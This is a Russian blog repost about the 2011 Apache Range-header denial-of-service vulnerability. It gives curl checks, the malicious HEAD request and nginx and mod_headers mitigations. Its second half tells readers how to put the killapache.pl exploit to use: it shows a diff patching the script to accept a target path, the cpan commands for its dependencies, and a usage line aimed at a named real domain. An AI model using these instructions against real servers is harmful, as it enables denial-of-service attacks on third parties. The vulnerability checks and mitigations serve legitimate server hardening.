Дисклеймер: Оригинал статьи «Убийца Apache у вас на пороге» был удален с Хабрахабра автором (скорее всего, из-за прямых инструкций по работе с опубликованным эксплойтом killapache.pl), однако материал является полезным не только для кулхацкеров начальных классов средней школы, но и для рядовых администраторов средней полосы нашей необъятной.
Для проверки своего сервер Apache на уязвимость надо выполнить следующие 2 запроса:
curl -I -H "Range: bytes=0-1,0-2" -s www.example.com/robots.txt | grep Partial curl -I -H "Request-Range: bytes=0-1,0-2,0-3,0-4,0-5,0-6" -s www.example.com/robots.txt | grep Partial
Если на такие запросы отвечает Apache и вы видите 206 Partial Content, значит быть беде (по крайней мере, по состоянию на конец августа 2011 года это было так).
Собственно, скрипт killapache.pl запускает в несколько десятков потоков простой запроc:
HEAD / HTTP/1.1 Host: www.example.com Range: bytes=0-,5-0,5-1,5-2,5-3,5-4,,5-1299,5-1300 Accept-Encoding: gzip Connection: close
В ответ на такой запрос Apache для подсчета Content-Length собирает в памяти длинный ответ из перекрывающихся кусков запрошенного файла, который может занять и занимает значительный объём памяти. При этом потребление памяти Apache начинает резко расти, как на том графике в начале, что при должном, совсем небольшом, количестве запросов приводит к DoS даже на приличных серверах.
Способов защиты от эксплуатации уязвимости несколько. Самая простая — отдача статики nginx-ом, что сегодня является best practice. В случае необходимости использования apache для отдачи статики можно запретить проксирование опасных заголовков:
proxy_set_header Range ""; proxy_set_header Request-Range "";
Если у вас Apache светит наружу, то можно запретить использование этих заголовков при помощи mod_headers:
# a2enmod headers RequestHeader unset Range RequestHeader unset Request-Range
Перед использованием скрипта его необходимо доработать напильником
diff killapache_pl.bin killapache.pl
40c40
< $p = «HEAD / HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-$p\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n»; — > $p = «HEAD «.($ARGV[2] ? $ARGV[2] : «/»).»HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-$p\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n»;
56c56
< $p = «HEAD / HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-$p\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n»; — > $p = «HEAD «.($ARGV[2] ? $ARGV[2] : «/») .» HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-$p\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n»;
73c73
< if ($#ARGV > 1) {
—
> if ($#ARGV > 0) {
На сервере необходимо установить зависимости:
cpan App::cpanminus cpanm Parallel::ForkManager
Пример использования скрипта:
perl killapache.pl xandroskin.ru 10 /favicon.ico
Ссылки: